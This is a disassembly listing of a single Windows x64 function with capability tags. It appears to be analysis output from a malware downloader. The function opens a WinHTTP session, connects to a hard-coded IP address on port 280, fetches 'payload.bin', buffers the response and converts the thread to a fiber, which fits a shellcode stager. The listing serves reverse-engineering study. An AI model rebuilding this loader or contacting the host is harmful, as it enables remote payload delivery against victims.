Function at 0x1400011a0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov r11, rsp
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xb0
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
mov rdi, rcx
xor r13d, r13d
mov qword [rsp + 0x50], r13
xor eax, eax
mov qword [r11 - 0x80], rax
lea ecx, [rax + 8]
call fcn.1400023d8
test rax, rax
je 0x1400011f3
lea rcx, [rsp + 0x80]
mov qword [rax], rcx
jmp 0x1400011f6
mov rax, r13
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0xa8], r13
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.WinHTTP_Example_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r15, rax
test rax, rax
jne 0x14000128f
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x14000124f
call fcn.140002270
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0xa8], r13
mov rcx, qword [rsp + 0x80]
call fcn.140002270
lea rcx, [rsp + 0x50]
mov rax, qword [rcx]
mov qword [rdi], rax
mov rax, qword [rcx + 8]
mov qword [rdi + 8], rax
mov rax, rdi
jmp 0x1400015f8
mov r8d, 0x118
xor r9d, r9d
lea rdx, str.27.124.18.66
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r14, rax
test rax, rax
jne 0x140001302
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x1400012c2
call fcn.140002270
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0xa8], r13
mov rcx, qword [rsp + 0x80]
call fcn.140002270
lea rcx, [rsp + 0x50]
mov rax, qword [rcx]
mov qword [rdi], rax
mov rax, qword [rcx + 8]
mov qword [rdi + 8], rax
mov rax, rdi
jmp 0x1400015f8
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.payload.bin
lea rdx, [0x14000f060]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r12, rax
test rax, rax
jne 0x140001385
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x140001345
call fcn.140002270
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0xa8], r13
mov rcx, qword [rsp + 0x80]
call fcn.140002270
lea rcx, [rsp + 0x50]
mov rax, qword [rcx]
mov qword [rdi], rax
mov rax, qword [rcx + 8]
mov qword [rdi + 8], rax
mov rax, rdi
jmp 0x1400015f8
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
jne 0x1400013fb
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x1400013bb
call fcn.140002270
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0xa8], r13
mov rcx, qword [rsp + 0x80]
call fcn.140002270
lea rcx, [rsp + 0x50]
mov rax, qword [rcx]
mov qword [rdi], rax
mov rax, qword [rcx + 8]
mov qword [rdi + 8], rax
mov rax, rdi
jmp 0x1400015f8
xor edx, edx
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov ebx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
test ebx, ebx
je 0x140001511
mov dword [rsp + 0xe0], r13d
lea rdx, [rsp + 0xe0]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov r11d, dword [rsp + 0xe0]
test r11d, r11d
je 0x140001511
movzx ebx, byte [rsp + 0xe0]
nop word [rax + rax]
mov ecx, r11d
call fcn.140002474
mov rbp, rax
mov r8d, dword [rsp + 0xe0]
xor edx, edx
mov rcx, rax
call fcn.140002dd0
lea r9, [rsp + 0x40]
mov r8d, dword [rsp + 0xe0]
mov rdx, rbp
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x1400014df
mov rsi, qword [rsp + 0xa0]
cmp qword [rsp + 0x98], rsi
jbe 0x1400014a1
call fcn.140002634
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rsi
mov r9d, dword [rsp + 0x40]
add r9, rbp
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x20], bl
mov r8, rbp
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x80]
call fcn.140001e70
mov rcx, rbp
call fcn.140002374
mov dword [rsp + 0xe0], r13d
lea rdx, [rsp + 0xe0]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov r11d, dword [rsp + 0xe0]
test r11d, r11d
jne 0x140001450
mov rbp, qword [rsp + 0xa0]
sub rbp, qword [rsp + 0x98]
je 0x14000158f
mov rcx, rbp
call fcn.140002654
mov r13, rax
xor esi, esi
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0x98]
sub rcx, rdx
mov rbx, rsi
je 0x140001582
cmp rbx, rcx
jb 0x14000155a
call fcn.140002634
mov rdx, qword [rsp + 0x98]
movzx eax, byte [rbx + rdx]
mov byte [rbx + r13], al
inc esi
inc rbx
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0x98]
sub rcx, rdx
movsxd rax, esi
cmp rax, rcx
jb 0x140001548
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], rbp
xor r13d, r13d
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x1400015bd
call fcn.140002270
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0xa8], r13
mov rcx, qword [rsp + 0x80]
call fcn.140002270
lea rcx, [rsp + 0x50]
mov rax, qword [rcx]
mov qword [rdi], rax
mov rax, qword [rcx + 8]
mov qword [rdi + 8], rax
mov rax, rdi
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret